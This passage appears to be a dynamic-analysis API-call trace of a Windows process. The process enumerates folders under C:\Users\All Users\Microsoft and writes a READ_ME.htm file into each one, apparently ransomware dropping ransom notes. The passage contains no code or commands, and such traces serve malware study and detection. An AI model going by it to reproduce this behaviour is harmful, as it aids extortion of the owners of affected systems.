ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0141.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0141.992] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.992] SetErrorMode (uMode=0x0) returned 0x1 [0141.992] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform", lpFilePart=0x0) returned 0x3d [0141.992] SetErrorMode (uMode=0x1) returned 0x0 [0141.993] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0141.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0141.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c26230, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xe7074610, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x2da14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0141.993] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.993] SetErrorMode (uMode=0x0) returned 0x1 [0141.993] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x43 [0141.993] SetErrorMode (uMode=0x1) returned 0x0 [0141.993] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0141.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.994] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.994] SetErrorMode (uMode=0x0) returned 0x1 [0141.994] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", lpFilePart=0x0) returned 0x43 [0141.994] SetErrorMode (uMode=0x1) returned 0x0 [0141.995] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x92fd0870, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7a637b0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7a637b0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x36755980, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x12640, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1 [0141.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.995] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.995] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.996] SetErrorMode (uMode=0x0) returned 0x1 [0141.996] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0141.996] SetErrorMode (uMode=0x1) returned 0x0 [0141.996] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.996] SetErrorMode (uMode=0x0) returned 0x1 [0141.996] GetFileType (hFile=0x1d0) returned 0x1 [0141.996] WriteFile (in: hFile=0x1d0, lpBuffer=0x2931878*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2931878*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.998] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0141.998] SetErrorMode (uMode=0x1) returned 0x0 [0141.998] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.998] SetErrorMode (uMode=0x0) returned 0x1 [0141.998] GetFileType (hFile=0x1d0) returned 0x1 [0141.999] WriteFile (in: hFile=0x1d0, lpBuffer=0x2935e68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2935e68*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.000] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC", lpFilePart=0x0) returned 0x20 [0142.000] SetErrorMode (uMode=0x1) returned 0x0 [0142.000] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.000] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.000] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.001] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0142.001] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.001] SetErrorMode (uMode=0x0) returned 0x1 [0142.001] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC", lpFilePart=0x0) returned 0x20 [0142.001] SetErrorMode (uMode=0x1) returned 0x0 [0142.002] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fafbf40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4faafc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fafbf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.002] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4faafc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0142.002] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.003] SetErrorMode (uMode=0x0) returned 0x1 [0142.003] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound", lpFilePart=0x0) returned 0x29 [0142.003] SetErrorMode (uMode=0x1) returned 0x0 [0142.003] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*" (normalized: "c:\\users\\all users\\microsoft\\rac\\outbound\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.003] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa89b20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.003] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa89b20, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa89b20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4faafc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.004] FindNextFileW (in: hFindFile=0x2fe5d0, 